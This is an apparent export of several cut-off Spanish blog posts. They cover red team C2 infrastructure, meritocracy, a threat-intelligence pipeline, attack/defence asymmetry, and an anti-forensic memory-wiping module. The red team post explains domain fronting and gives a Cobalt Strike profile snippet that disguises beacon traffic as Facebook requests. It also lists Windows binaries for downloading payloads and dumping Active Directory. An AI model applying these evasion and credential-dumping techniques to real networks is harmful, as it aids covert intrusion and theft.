deben mezclarse con tráfico legítimo El C2 debe ser resistente a bloqueo de dominios y análisis de patrones Parte II: Infraestructura Red Team Real Esta es la parte que cambia la perspectiva cuando ves cómo funciona realmente.\n2.1 El Problema del C2 Simple Imagina que comprometes una máquina con Metasploit y obtienes un reverse shell al puerto 4444 de tu IP. Funcionó. Pero:\nTu IP queda en los logs del servidor comprometido El tráfico hacia un IP no corporativo en puerto 4444 dispara alertas en cualquier firewall básico Si tu IP es bloqueada, pierdes el acceso completamente Un analista de red puede correlacionar el tráfico y atribuirte en horas Para un CTF, esto no importa. Para un Red Team contra una empresa con SOC, esto te quema en minutos.\n2.2 Arquitectura C2 Moderna La infraestructura C2 (Command \u0026 Control) profesional resuelve cada uno de esos problemas con capas de abstracción:\nflowchart TD A[\"Operador\\n(Red Teamer)\"] --\u003e B[\"Teamserver\\n(Cobalt Strike / Havoc / Sliver)\"] B --\u003e C[\"Redirector 1\\n(Apache mod_rewrite)\"] B --\u003e D[\"Redirector 2\\n(Nginx + socat)\"] B --\u003e E[\"Redirector 3\\n(CDN / Cloudflare)\"] C --\u003e F[\"Víctima A\"] D --\u003e G[\"Víctima B\"] E --\u003e H[\"Víctima C\"] style A fill:#1a1a2e,color:#e0e0e0 style B fill:#16213e,color:#e0e0e0 style C fill:#0f3460,color:#e0e0e0 style D fill:#0f3460,color:#e0e0e0 style E fill:#0f3460,color:#e0e0e0 style F fill:#533483,color:#e0e0e0 style G fill:#533483,color:#e0e0e0 style H fill:#533483,color:#e0e0e0El Teamserver es donde opera el Red Teamer. Nunca está expuesto directamente a las víctimas.\nLos Redirectores son VPS baratos en proveedores cloud que solo reenvían tráfico. Si uno es descubierto y bloqueado, los otros siguen operando. Están configurados para descartar cualquier conexión que no parezca un beacon legítimo — si un analista intenta conectarse directamente, obtiene una respuesta de servidor web genérico (Apache con página de WordPress, por ejemplo).\nLos beacons en las víctimas se comunican sobre HTTPS hacia lo que parece tráfico web legítimo — no hacia IPs sospechosas en puertos no estándar.\n2.3 Domain Fronting y Abuso de CDN Una técnica más sofisticada es el domain fronting: el beacon de la víctima establece una conexión HTTPS hacia un dominio legítimo de alta reputación (históricamente Azure, AWS CloudFront, Cloudflare), pero el campo Host en la cabecera HTTP interna apunta a tu infraestructura real.\nPara el firewall de la víctima, está viendo tráfico HTTPS hacia ajax.cloudflare.com. Para tu C2, está recibiendo el beacon correctamente.\nLa razón por la que esto importa: bloquear Cloudflare o Azure en una empresa rompería miles de servicios legítimos. Los defensores no pueden simplemente bloquear el tráfico.\n2.4 Malleable C2 Profiles Cobalt Strike (y sus sucesores open-source como Havoc, Sliver, Brute Ratel) permiten configurar exactamente cómo se ve el tráfico del beacon en la red.\nUn perfil malleable puede hacer que el beacon imite el tráfico de Teams, de actualizaciones de Chrome, de telemetría de Windows. Las cabeceras HTTP, el timing de check-ins, el tamaño de los paquetes, la forma de encoding del payload — todo configurable para parecer tráfico legítimo.\n# Ejemplo de perfil Cobalt Strike (simplificado) http-get { set uri \"/en_US/all.js\"; # Parece una petición de Facebook client { header \"Host\" \"www.facebook.com\"; header \"Accept-Language\" \"en-US,en;q=0.5\"; metadata { base64; header \"Cookie\"; } } } El analista que mira los logs ve requests a /en_US/all.js con cabeceras que parecen Facebook. Sin contexto adicional, parece legítimo.\n2.5 Living off the Land (LotL) La filosofía LotL es operar usando las propias herramientas del sistema operativo víctima en lugar de introducir malware externo. Esto elimina las detecciones basadas en firmas porque no hay nada que firmar.\nEn Windows:\nPowerShell para reconocimiento, movimiento lateral, y exfiltración WMI para persistencia y ejecución remota certutil.exe para descargar payloads (herramienta legítima de Windows) mshta.exe, regsvr32.exe, rundll32.exe para ejecutar código arbitrario ntdsutil.exe para volcar la base de datos de Active Directory Un Red Teamer que opera puramente con LotL no introduce ningún binario externo al sistema. Usa únicamente herramientas que Microsoft instaló. Los antivirus basados en firmas son ciegos a esto.\n2.6 OPSEC de Infraestructura El OPSEC (Operations Security) de un Red Team profesional va más allá de las técnicas técnicas:\nRegistrar dominios con meses de anticipación — los dominios recientes son inherentemente sospechosos par","date":"2026-04-28","section":"posts","series":null,"summary":"Si un atacante puede operar casi indetectable con redirectores, domain fronting y living-off-the-land, ¿por qué sigue existiendo el malware masivo? La respuesta separa tres disciplinas —CTF, pentesting y Red Team— con objetivos, modelos de amenaza y economías distintos.","tags":["red-team","c2","malware","cobalt-strike","threat-modeling","opsec","ctf","pentesting","infrastructure","apt","ransomware","maas","proyecto"],"title":"De CTF a Red Team: Por Qué la Infraestructura Sofisticada y el Malware Masivo Coexisten","url":"/posts/redteam-infraestructura-vs-malware/"},{"content":" 🎵 Narcissist Code — Rishloo de Terras Fames Hay una frase que circula con tanta naturalidad que casi nadie la mira: si quieres, puedes. Se dice como si fuera una observación sobre el mundo, cuando es, en realidad, una hipótesis muy fuerte sobre la relación entre voluntad y resultado, sostenida casi enteramente por la evidencia más sesgada que existe — la de los que efectivamente pudieron, contada por ellos mismos, después de haber podido.\nLo que sigue es un intento de pensar honestamente esa frase. No para refutarla — refutarla es trivial y lo han hecho mejor que yo — sino para entender qué queda cuando se la quita, y por qué lo que queda, en mi experiencia, es más útil que la frase original.\nEl sesgo del que cuenta.\nSi pones a hablar a cien personas que intentaron lo mismo y noventa fracasaron, lo que vas a escuchar de los diez que ganaron es una historia coherente sobre voluntad, persistencia y método. Lo que no vas a escuchar es a los noventa, porque los noventa no escriben libros de autoayuda y no dan charlas TED. Hicieron lo mismo. Tuvieron, en muchos casos, la misma voluntad. Y perdieron. Pero su voz no llega al canal donde se forma la frase si quieres, puedes, y por lo tanto la frase se construye con una muestra que nunca, en ningún diseño experimental serio, podría aceptarse como evidencia.\nA esto se le llama, técnicamente, sesgo del superviviente. Lo nombro porque tiene nombre y conviene saberlo. Pero el nombre técnico no captura del todo el daño. El daño no es estadístico. Es que el discurso que se construye sobre esa muestra sesgada le devuelve a los noventa que perdieron una explicación falsa de su propia derrota: les dice que perdieron porque no quisieron lo suficiente. Y como no pueden refutar internamente una explicación que se presenta como ley, muchos la aceptan, y agregan al fracaso material un fracaso interpretativo que es peor — la convicción de que el problema fueron ellos.\nNo fueron ellos. O lo fueron parcialmente, en una proporción que es imposible de calcular sin tener acceso a las contrafactuales que la vida no entrega. Pero el discurso requiere que asuman el cien por ciento. Esa transferencia de responsabilidad, desde un sistema que no quiere mirarse hacia individuos que no tienen herramientas para defenderse, es probablemente el costo social más alto que paga la frase.\nLa distancia entre capacidad y oportunidad.\nHay dos cosas que se confunden de manera sistemática y que no son la misma. La capacidad es la propiedad de un sistema de hacer algo si las condiciones lo permiten. La oportunidad es la presencia efectiva de esas condiciones. Tener capacidad sin oportunidad es indistinguible, desde afuera, de no tener capacidad. Esa indistinguibilidad es una de las injusticias más limpias del mundo, en el sentido técnico: opera sin necesidad de que nadie la opere.\nPiensa en lo que requiere, concretamente, completar una formación universitaria. Tiempo — varios años de tiempo no productivo en términos de ingresos. Dinero — directo o indirecto, en la forma de no estar generando ingresos durante esos años. Capacidad cognitiva — que es real, que existe, y que está distribuida en la población más uniformemente de lo que se cree pero no perfectamente. Pero también: tranquilidad mental suficiente para concentrarse durante años. Un cuerpo que no se descomponga durante el período. Una familia que no se descomponga durante el período. Un país que no se descomponga durante el período. Una moneda que no se descomponga durante el período. Acceso a una red social que valide el camino y haga que rendir tres horas en una mesa frente a alguien que evalúa no se sienta como una traición a la clase a la que pertenecés.\nSi una de esas variables falla — y la lista es incompleta — la trayectoria se rompe. Quien tuvo que dejar de estudiar para entrar al mercado laboral a los diecisiete porque su madre se enfermó no carecía de capacidad. Carecía de la conjunción precisa de variables que permite que la capacidad se traduzca en credenciales. Diez años después, cuando el mercado evalúa su perfil, esa distinción ya no existe operativamente. Lo que se ve es la ausencia del título. Lo que no se ve es la madre.\nEsto se agrava porque las variables no son independientes. Tener una de las variables tiende a estar correlacionado con tener las otras. Quien nace en un contexto donde hay tranquilidad económica probablemente también tenga acceso a redes, a información sobre cómo funciona el sistema educativo, a modelos cercanos que ya hicieron el camino y pueden orientarlo. Quien nace sin la primera variable suele carecer de varias de las otras. La distribución no es aleatoria. Está estructurada por décadas de decisiones colectivas que solidificaron en la geografía, en los apellidos, en los códigos postales.\nY todavía falta agregar el género, que en muchos contextos divide la lista de oportunidades efectivas a la mitad por razones que no tienen nada que ver con la capacidad de las personas afectadas. Y la pigmentación, que en otros contextos hace lo propio. Estas variables no operan como un voltaje constante: operan como filtros que entran en juego en momentos específicos — la entrevista, la propuesta de matrimonio, el préstamo, la promoción interna — y que son particularmente difíciles de probar individualmente porque cada instancia se puede explicar con una historia local que oculta el patrón sistémico.\nLas figuras que salen “de la nada”.\nEl discurso meritocrático necesita íconos para reproducirse. Los íconos son siempre los mismos: cuatro o cinco fundadores de empresas tecnológicas norteamericanas cuya historia se cuenta como si hubieran emergido de garajes contra la corriente del mundo. Cuando se examina la historia con un poco de honestidad, lo que aparece es otra cosa. El padre abogado en la firma corporativa que conectó al hijo con los abogados de propiedad intelectual que después construyeron la primera estructura. La madre que era programadora en IBM en los años sesenta y enseñó a leer código antes que a leer libros. El círculo de compañeros de una universidad que reúne a todos los que iban a ser influyentes en una industria diez años después. El acceso a los chips de Intel cuando todavía costaban lo que costaban. El cheque de un familiar lejano que ahora es legendario por su tamaño y entonces era simplemente el monto que permitía no tener que cerrar.\nNo estoy diciendo que esas personas no hayan tenido capacidad. La tuvieron, evidentemente. Estoy diciendo que su capacidad operó dentro de un entorno con todas las variables alineadas, y que el discurso luego les amputa el entorno y atribuye el resultado solo a la capacidad. Es como contar la historia de una planta sin mencionar el suelo. La planta hizo su trabajo, sí. Pero no en el aire.\nHay una frase del rapero puertorriqueño René Pérez que captura esto con una economía que envidio: si la gente del Congo hubiera tenido tus oportunidades, estaría graduada en las mejores universidades. La frase es exacta. Y es exacta no porque sea retórica, sino porque cuando uno empieza a desagregar las trayectorias específicas de los íconos meritocráticos, lo que encuentra una y otra vez es que la condición de haber nacido en el entorno particular fue, en términos contrafactuales, indispensable. Sin ella, la persona habría sido, casi seguramente, alguien talentoso e ignorado. Como, de hecho, fueron y son la mayoría de las personas talentosas en el mundo.\nEsto no requiere conspiración. No requiere mala fe. Es simplemente cómo funcionan los sistemas con condiciones iniciales muy desiguales y procesos de amplificación: producen resultados que correlacionan más con las condiciones iniciales que con cualquier otra cosa, y luego producen narrativas que invierten esa correlación y la presentan como dependencia inversa.\nLos shocks que nadie eligió.\nFalta una variable que casi no se nombra y que merece su propio párrafo, porque destruye trayectorias enteras de manera súbita y sin que el afectado tenga ninguna palanca posible.\nEl mundo, a","date":"2026-04-26","section":"posts","series":null,"summary":"Sobre por qué sigo a pesar de saber que el discurso es falso.","tags":["ensayo","meritocracia","contingencia","finitud"],"title":"Encontré una verdad","url":"/posts/encontre-una-verdad/"},{"content":"Abstract Este artículo documenta el diseño, construcción y evolución de Separatio, un pipeline de Cyber Threat Intelligence automatizado que construí en 6 días. El sistema lee feeds RSS de ciberseguridad a través de Miniflux, analiza cada artículo con modelos de lenguaje (local con Ollama o cloud con OpenAI/Claude/Gemini), correlaciona CVEs contra [[la-guerra-que-no-se-declara|el catálogo CISA KEV y scores EPSS]] de FIRST.org, y genera un informe diario en PDF, Markdown y HTML con exportación de IOCs lista para ingestión en un SIEM.\nEl resultado: de 4000+ artículos acumulados sin leer a un briefing ejecutivo estructurado, con fuentes citadas, CVEs corroborados y APT profiles, entregado antes de las 8am. Localmente tarda ~3.75 horas; con OpenAI, 9 minutos para 260 artículos.\nEl nombre viene del concepto alquímico de separatio: separar lo sutil de lo grosero. Aplicado a seguridad: separar la señal del ruido en el mar de publicaciones diarias.\nEl Problema: 4000 Artículos Sin Leer Todo empezó con Miniflux. Quería una página centralizada de noticias de ciberseguridad para mantenerme al día sin navegar por diez sitios diferentes. Lo monté en un LXC en Proxmox, busqué los mejores feeds del sector, y lo llené.\nEl resultado inmediato fue un problema inesperado: en pocos días tenía más de 4000 artículos sin leer. Feeds como el MSRC de Microsoft acumulaban 2975 entradas. Black Hills Information Security, 909. No hay humano que lea eso en una semana.\nLo dejé. Pasaron semanas. El contador seguía subiendo.\nLa solución llegó de un sitio inesperado: estaba leyendo documentación sobre SIEMs, concretamente sobre cómo funcionan los parsers de eventos y las reglas de correlación. Es fascinante como estos sistemas ingieren miles de eventos por segundo, extraen campos estructurados de texto no estructurado, correlacionan eventos de múltiples fuentes, y producen alertas priorizadas con contexto.\nEl paralelismo era obvio: mis artículos RSS eran eventos. Cada uno tenía estructura implícita: tipo de amenaza, severidad, actores, CVEs, IOCs. Lo que necesitaba era un parser inteligente seguido de un correlador y un generador de reportes.\nCon el auge de los modelos de lenguaje open source, y tras probar phi4 y qwen3.5 en Ollama y ver lo bien que leen y estructuran información sin inventarse nada, el camino estaba claro.\nLa Arquitectura: Una Cadena de Producción El concepto central es una cadena de producción de inteligencia inspirada en los pipelines ETL de los SIEMs modernos:\nflowchart TD A[(\"Miniflux RSS\\n39 feeds\\n~260 art/día\")] --\u003e B subgraph S1[\"Stage 1 — extractor.py\"] B[\"Fetch artículos\\n(sin leer, por fecha desc)\"] B --\u003e B1[\"Contenido RSS completo\\nsi ≥ MIN_CONTENT_LENGTH\"] B1 --\u003e B2[\"Fallback: Trafilatura\\n(scraping web)\"] B2 --\u003e B3[\"Fallback: BeautifulSoup\"] B3 --\u003e B4[\"Último recurso: solo título\"] B4 --\u003e B5[\"Dedup por URL\\nCap por feed (10 max)\"] end B5 --\u003e C subgraph S2[\"Stage 2 — analyzer.py (LLM ligero)\"] C[\"Por artículo → JSON extraction\\nqwen3.5:4b / gpt-4.1-mini\"] C --\u003e C1[\"{threat_type, severity\\nactors, cves\\naffected_systems\\nsummary, iocs}\"] end C1 --\u003e D[\"Dedup semántica por CVEs\\n(Jaccard ≥ 0.4 + ≥2 CVEs compartidos)\"] D --\u003e E subgraph S25[\"Stage 2.5 — correlator.py (determinístico, sin LLM)\"] E[\"CVEs en ≥2 fuentes → corroborados\"] E --\u003e E1[\"CISA KEV lookup\\n(explotados en prod.)\"] E1 --\u003e E2[\"EPSS desde FIRST.org\\n(prob. explotación 30d)\"] E2 --\u003e E3[\"Feeds Exploit-DB/ZDI → PoC signal\"] E3 --\u003e E4[\"IOCs en ≥2 fuentes\\n→ corroborados\"] end E4 --\u003e F subgraph S26[\"Stage 2.6 — history.py (determinístico)\"] F[\"Append daily record\\n~200 bytes/día\"] F --\u003e F1[\"14-day trend window\\nactores recurrentes\\ndeltas de tipo de amenaza\"] end F1 --\u003e G subgraph S3[\"Stage 3 — 4 llamadas LLM especializadas\"] G --\u003e G1[\"3A: Analista de Vulnerabilidades\\n(CVE-heavy + KEV/EPSS)\"] G --\u003e G2[\"3B: Analista APT\\n(actores + correlaciones + IOC table)\"] G --\u003e G3[\"3C: Analista Regional LATAM\"] G --\u003e G4[\"3D: Editor de noticias\\n(general cybersec)\"] end G1 \u0026 G2 \u0026 G3 \u0026 G4 --\u003e H subgraph S4[\"Stage 4 — LLM pesado (síntesis)\"] H[\"qwen3.5:9b / gpt-4.1 / claude-opus-4-7\\nAlert level + #1 priority\\ncross-domain correlations\"] end H --\u003e I subgraph OUT[\"Output — reporter.py\"] I[\"threat-briefing-YYYY-MM-DD.pdf\"] I --\u003e I1[\"reports/threat-briefing-*.md\\nreports/threat-briefing-*.html\"] I --\u003e I2[\"iocs/iocs-YYYY-MM-DD.csv\\niocs/iocs-YYYY-MM-DD.json\"] end style S1 fill:#1a1a2e,stroke:#7c3aed,color:#ccc style S2 fill:#1a1a2e,stroke:#7c3aed,color:#ccc style S25 fill:#1a1a2e,stroke:#16a34a,color:#ccc style S26 fill:#1a1a2e,stroke:#16a34a,color:#ccc style S3 fill:#1a1a2e,stroke:#7c3aed,color:#ccc style S4 fill:#1a1a2e,stroke:#dc2626,color:#ccc style OUT fill:#1a1a2e,stroke:#0ea5e9,color:#cccLo verde es código determinístico. Lo violeta es LLM. Lo rojo es el modelo más potente. La separación es deliberada: los hechos los establece el código, no el modelo.\nInfraestructura Proxmox Antes de entrar en el código, el contexto de hardware importa porque condiciona todas las decisiones de arquitectura:\nProxmox host: Intel i7-10510U (4C/8T), 15.3 GB RAM ├── LXC 111 — ollama: 4 cores, 10 GB RAM (CPU-only, sin GPU) └── LXC 112 — miniflux: 2 cores, 2 GB RAM (Miniflux + pipeline) Sin GPU. Todo en CPU. Esto importa mucho para los timeouts, la paralelización y la decisión final de integrar APIs cloud.\nLXC 111 recién creado — Ollama con passthrough GPU Intel configurado, aunque terminaría funcionando en CPU puro\nConfiguración crítica de Ollama en LXC 111 vía systemd override:\n[Service] Environment=\"OLLAMA_HOST=0.0.0.0:11434\" Environment=\"OLLAMA_KEEP_ALIVE=10m\" Environment=\"OLLAMA_MAX_LOADED_MODELS=1\" OLLAMA_MAX_LOADED_MODELS=1 es esencial con 10GB RAM: los modelos qwen3.5:4b (3.2GB) y qwen3.5:9b (7.2GB) no caben simultáneamente. El pipeline hace un swap explícito entre etapas llamando a keep_alive=0 para forzar la descarga del modelo anterior antes de cargar el siguiente.\nDía 1 — 21 de Abril: El Pipeline Inicial Primer commit: funciona en un shot El primer commit entregó un pipeline de 3 etapas funcional: fetch → JSON extraction por artículo → informe consolidado. 11 archivos, ~1500 líneas. La caché en JSON permitía re-ejecutar Stage 3 sin re-resumir.\nEl prompt de Stage 2 es directo y estructurado para extraer hechos, no para que el modelo opine:\ndef build_summary_prompt(title: str, content: str, feed: str, category: str) -\u003e str: return f\"\"\"Analiza este artículo de ciberseguridad y extrae los campos pedidos. FUENTE: {feed} [{category}] TÍTULO: {title} CONTENIDO: {content} Responde SOLO con este JSON (sin bloques markdown, sin texto adicional): {{ \"threat_type\": \"Ransomware|APT|CVE|Phishing|DDoS|Supply Chain|Malware|...\", \"severity\": \"Crítica|Alta|Media|Baja|Informativa\", \"actors\": [\"máx 5 actores/grupos/países conocidos\"], \"cves\": [\"máx 10 CVE-XXXX-XXXXX mencionados\"], \"affected_systems\": [\"máx 5 sistemas/productos más relevantes\"], \"summary\": \"Análisis técnico en 4-5 oraciones: qué ocurrió, TTPs/MITRE, sistemas afectados, nivel de explotación, impacto potencial.\", \"iocs\": [\"máx 10 IPs, dominios, hashes, URLs explícitamente mencionados\"] }}\"\"\" La restricción máx N en cada array es crítica. Sin ella, artículos como los Ubuntu Security Notices (que listan 50+ paquetes de kernel afectados) hacen que el modelo intente enumerar todo y supere el límite de tokens de salida, cortando el JSON a mitad. Lo descubrí en producción el Día 6.\nLos tres fallos inmediatos de Day 1 1. Parámetros de Ollama silenciosamente ignorados\nLos parámetros think y keep_alive van como kwargs directos de client.chat(), NO dentro del dict options. Ollama los ignoraba silenciosamente:\n# INCORRECTO — think y keep_alive se ignoran dentro de options response = client.chat( model=model, messages=messages, options={\"temperature\": 0, \"think\": False, \"keep_alive\": \"10m\"} ) # CORRECTO — son kwargs top-level response = client.chat( model=model, messages=messages, options={\"temperature\": 0, \"num_ctx\": 2048}, think=False, keep_alive=\"10m\" ) Esto está documentado en el có","date":"2026-04-26","section":"posts","series":null,"summary":"Un pipeline de threat intelligence construido en 6 días: lee feeds RSS, analiza cada artículo con LLM (Ollama local u OpenAI/Claude/Gemini), correlaciona CVEs contra CISA KEV y EPSS, y entrega un briefing diario con IOCs listos para SIEM. De 4000 artículos sin leer a un informe antes de las 8am.","tags":["threat-intelligence","miniflux","ollama","openai","rss","automation","python","proxmox","siem","cve","llm","homelab","proyecto"],"title":"Separatio: Construyendo un Pipeline de Threat Intelligence Autónomo con IA Local","url":"/posts/separatio-threat-intel-pipeline/"},{"content":" 🎵 Unas cincuenta frases — Ozelot de Unas Cincuenta Frases Hubo un tramo de mi vida en que entré a sistemas a los que se suponía que no podía entrar. Algunos eran clientes que pagaban para que entrara y reportara. Otros no. La distinción importa moralmente más de lo que importa técnicamente — desde el lado de adentro las dos clases de operación se sienten exactamente iguales, y eso es información sobre el sistema, no sobre mí.\nLo que sí dejó marca, en los dos casos, es la sensación específica de estar adentro de algo que cree que no estoy. La gente que diseñó el sistema duerme tranquila. Los compliance officers archivaron las auditorías. Los CISOs pusieron las métricas en verde en el dashboard. Y yo, mientras tanto, leyendo logs que nadie va a leer, moviéndome por segmentos que no se suponía que existieran, copiando archivos que el sistema no sabe que se copiaron porque mi read no actualizó el last accessed.\nEsa asimetría — entre lo que el defensor sabe y lo que el atacante puede ver mientras opera — no es un bug del estado actual de la industria. Es la propiedad estructural del problema. Y entender por qué es estructural es entender por qué el modelo de seguridad que la mayoría asume está roto en un sentido más profundo que el que se suele admitir.\nLa asimetría base.\nAtacar es un problema de búsqueda: encontrar un camino que funcione. Defender es un problema de cobertura: bloquear todos los caminos posibles. Esos no son el mismo problema con signos invertidos. Son problemas con costos asintóticos distintos.\nSi hay N vectores potenciales de entrada en un sistema, el atacante necesita que uno funcione. El defensor necesita que ninguno funcione. El costo del atacante es proporcional al número promedio de intentos que tiene que hacer hasta dar con uno que cierre. El costo del defensor es proporcional al producto de N vectores por el rigor con el que cada uno se cierra. Esos dos costos no escalan igual. El primero crece linealmente o sublinealmente en función del entorno. El segundo crece combinatorialmente.\nA esto se le suma un detalle que hace el problema peor: el defensor solo sabe de los N vectores que conoce. Los vectores que no conoce — porque salieron ayer, porque son específicos del entorno, porque dependen de una interacción que nadie pensó — no aparecen en la enumeración. Son lo que la industria llama desconocidos desconocidos y son, en mi experiencia, donde se gana casi siempre.\nEsto significa que la pregunta ¿es seguro? no tiene respuesta en sentido fuerte. No porque seamos pesimistas. Porque la pregunta está mal planteada. La forma correcta es: ¿cuánto cuesta entrar, y cuánto tiempo se puede permanecer adentro sin ser detectado, y qué se puede hacer durante ese tiempo? Esas son preguntas que sí tienen respuesta, y la respuesta — cuando se mide honestamente — es casi siempre incómoda para el dueño del sistema.\nLa IA en ambos lados del problema no resuelve la asimetría. La acelera. Para el atacante, automatiza el proceso de búsqueda — un agente con acceso a herramientas y modelos de comportamiento puede recorrer un espacio de vectores mucho más rápido que cualquier operador humano. Para el defensor, automatiza la enumeración y el monitoreo — pero la enumeración sigue siendo de lo conocido, y los desconocidos desconocidos siguen siendo invisibles hasta que alguien los usa. Las dos curvas se aceleran. La asimetría se mantiene. Probablemente se ensancha.\nEl árbol y el bosque.\nEl argumento anterior es sobre un sistema. La realidad es que ningún sistema importante hoy es un sistema. Es un bosque.\nCualquier organización mediana opera con miles de dependencias de software. Cada una de esas dependencias tiene sus propias dependencias. Las dependencias profundas son mantenidas, en muchos casos, por una persona. A veces por nadie. La librería sobre la que se construyó la herramienta sobre la que se construyó el producto que paga los sueldos puede tener un commit principal cuyo autor murió hace cinco años, o se cansó, o aceptó la ayuda de un colaborador que llevaba dos años ganándose su confianza con commits inocuos.\nEsto se llama cadena de suministro y se discute como si fuera una vulnerabilidad. No es una vulnerabilidad. Es una propiedad estructural de cómo se construye software hoy. Es la consecuencia inevitable de que el costo de reusar código sea mil veces menor que el costo de auditarlo.\nLa fórmula del problema es simple y vale la pena enunciarla:\nLas redes de confianza escalan en función del número de nodos. La capacidad de verificación escala en función del logaritmo de ese número, en el mejor caso. La diferencia es la superficie de ataque.\nCuando el [[la-guerra-que-no-se-declara|equipo SolarWinds dejó de poder]] auditar manualmente cada commit que entraba a su pipeline, el ataque ya estaba escrito en el futuro. No estaba escrito quién lo iba a hacer ni cuándo, pero la posibilidad estaba reservada en la matemática del sistema. Lo mismo con XZ Utils. Lo mismo con la cadena de fabricantes que llevó al ataque que paró las plantas de Jaguar Land Rover en 2025 — que no es un caso aislado, es la forma del riesgo cuando se mira desde la altura correcta.\nY la analogía que el usuario que me leyó hizo — pandemias, polarización, posverdad, crisis financieras — no es analogía. Es el mismo patrón a otra escala. La pandemia es una falla de la red de verificación de la cadena de suministro alimentaria mundial. La crisis financiera de 2008 fue una falla de la red de verificación de la cadena de suministro de instrumentos financieros. La posverdad es una falla de la red de verificación de la cadena de suministro informativa. En cada caso, se construyó una red de confianza que crecía rápido, sobre una capacidad de verificación que crecía lento, y el ataque — humano o no humano, intencional o no — entró por el delta.\nEsto no es metáfora. Es la misma ecuación, con distintos valores en las variables.\nEl último argumento.\nHubo durante años un argumento que sostenía la mayor parte de la seguridad práctica en organizaciones medianas. El argumento era: no merece la pena atacarte. La economía del ataque sofisticado tenía un costo fijo alto — operadores humanos, recon manual, desarrollo de implante, infra quemable — y ese costo solo se amortizaba contra objetivos con suficiente valor extraíble. El banco grande sí. La empresa de logística mediana no. El banco grande pagaba seguridad seria. La empresa mediana pagaba seguridad teatral. Y la mayor parte del tiempo el teatro alcanzaba, porque el atacante serio iba a otro lado.\nEse argumento se llama seguridad por irrelevancia y nunca fue dicho en voz alta porque admitirlo destruye el modelo de negocio de la mayor parte de la industria de seguridad. Pero todos los CISOs honestos lo sabían y diseñaban en función de él. La seguridad real era ser menos atractivo que el de al lado y rezar para que el de al lado tuviera mejores controles que tú, porque entonces eras tú el que se llevaba el ataque cuando llegaba.\nLo que los [[separatio-threat-intel-pipeline|agentes IA están haciendo, ahora]] mismo, en operaciones que están documentadas en informes públicos y que ya no son predicciones, es colapsar ese argumento. La razón es prosaica. El costo marginal de agregar un objetivo nuevo, para un atacante con agentes maduros, tiende a cero. Un operador humano puede supervisar cien intrusiones en paralelo si los agentes hacen la mayor parte del trabajo. El recon que antes tomaba semanas ahora es minutos. La adaptación de un implante a un entorno específico, que antes requería un especialista, ahora es un prompt y un loop de iteración.\nCuando el costo marginal del ataque tiende a cero, no merece la pena atacarte deja de ser una protección. Tu valor extraíble no necesita ser alto. Tiene que ser positivo. Y casi todo es positivo si el costo de agregarte a la lista es despreciable.\nEsto convierte a la población entera de organizaciones medianas — los millones que vivían bajo el paraguas de la irrelevancia — en objetivos económicamente viables. N","date":"2026-04-25","section":"posts","series":null,"summary":"Sobre la asimetría estructural entre atacar y defender, el colapso del argumento de la irrelevancia, y lo que queda cuando se rompe la ilusión del perímetro.","tags":["seguridad","red-team","ia","ensayo"],"title":"Encontrar uno, bloquear todos","url":"/posts/encontrar-uno-bloquear-todos/"},{"content":" 🎵 Luz — Ozelot El payload se compiló en el taller a las tres de la mañana porque a las tres de la mañana es cuando compilo, y ese hábito no tiene razón táctica, tiene razón personal, y las razones personales son las que sobreviven cuando las tácticas ya no importan.\nLa diferencia: un programa tiene instrucciones fijas. Hace lo que le dijeron que haga, en el orden en que le dijeron que lo haga, y cuando termina se detiene. Una presencia se adapta. Lee el entorno antes de actuar. Modifica su comportamiento en función de lo que encuentra. No tiene firma fija porque la firma cambia con cada ejecución — el mismo código, en el mismo entorno, produce comportamientos distintos dependiendo de variables que el compilador no controla: latencia de red, carga de CPU del host, temperatura del hardware, el orden en que el sistema operativo asigna páginas de memoria que no es determinista y que por lo tanto introduce entropía en cada instancia.\nEl módulo dissolve.o era el que más tiempo me tomó. No porque fuera complejo — borrar memoria no es complejo. Lo complejo es borrar memoria sin que el acto de borrar genere su propia huella. Un memset estándar deja rastro en los registros de acceso a memoria. Un free estándar devuelve la página al pool de memoria del kernel y el kernel anota la devolución. Lo que necesitaba era un borrado que no fuera un borrado sino una sobrescritura con el patrón que la memoria tendría si nunca hubiera sido asignada — el ruido de fondo del hardware, el voltaje residual de las celdas en reposo, la nada específica de la memoria sin usar que es distinta de la nada de la memoria borrada y que un análisis forense puede distinguir si sabe lo que busca.\ndissolve.o no borraba. Devolvía la memoria a su estado natural. Como si el payload nunca hubiera existido. Como si la RAM siempre hubiera estado vacía. Como si la nada fuera la nada original y no la nada que queda después de que algo fue.\nLas dos nadas se parecen. Solo se distinguen si sabes que hubo algo antes. Y si nadie sabe que hubo algo antes, la nada es simplemente nada.\nEscribí eso hace unos meses y lo dejé. Volví hoy porque el problema no estaba resuelto. Lo había descrito. No es lo mismo.\nHay una idea antigua que dice que no hay razón para temerle a la muerte porque antes de estar vivo ya estuvimos muertos una eternidad, y a esa eternidad no le tenemos miedo. El argumento tiene dos mil años y sigue siendo el primero que se ofrece en estos casos. Lo ofrecen porque suena simétrico. Y la simetría tranquiliza incluso cuando es falsa.\nLa simetría es falsa. Y el módulo dissolve.o es lo que me enseñó por qué.\nLa nada que es nada.\nUna memoria que nunca fue asignada tiene un patrón específico. No es negro, no es cero. Es el estado de reposo del hardware — voltajes que flotan dentro de un rango, celdas que todavía no decidieron qué van a ser porque nadie les pidió que decidieran. Si lees esa memoria con un instrumento suficientemente fino, lo que encuentras es ruido. Pero no ruido cualquiera: ruido con la firma exacta del hardware no usado. Una línea de base.\nUna memoria que fue asignada, escrita, y luego borrada con cuidado, tiene un patrón distinto. Puede parecer idéntica a la primera. Si lo único que tienes es el dato y no el tiempo, las dos son indistinguibles. Pero si tienes el tiempo — si puedes observar la evolución de los voltajes, los microtiempos de acceso, las trazas térmicas residuales en las celdas vecinas — entonces distingues. La memoria que fue algo queda, aunque haya sido limpiada, con una cicatriz térmica que la memoria original no tiene. No porque el dato persista. El dato no persiste. Lo que persiste es que ahí pasó algo.\ndissolve.o intenta resolver ese problema. Intenta producir una nada post-uso que sea indistinguible de la nada previa al uso. Lo consigue mal — ningún borrado en hardware real es perfecto. Lo consigue lo suficiente para la mayoría de los observadores. Contra un [[apt115-manual|análisis forense muy paciente]], no alcanza. Contra el olvido del universo a escala larga, alcanza de sobra.\nY acá está el punto que me interesa, el que no había terminado de pensar la primera vez:\nLas dos nadas solo son iguales cuando se pierde el testigo.\nMientras hay alguien que sabe que hubo algo, la nada post-algo es detectable. Tiene forma, aunque la forma sea una ausencia. La ausencia de X tiene la forma exacta de X. Eso vale para la memoria, vale para los objetos físicos, y — esto es lo que me importa — vale para los procesos conscientes.\nCuando muera, si muero entero y no queda nadie que me haya conocido, la nada que soy no va a ser distinguible de la nada que era antes de existir. Para el universo. Para un observador 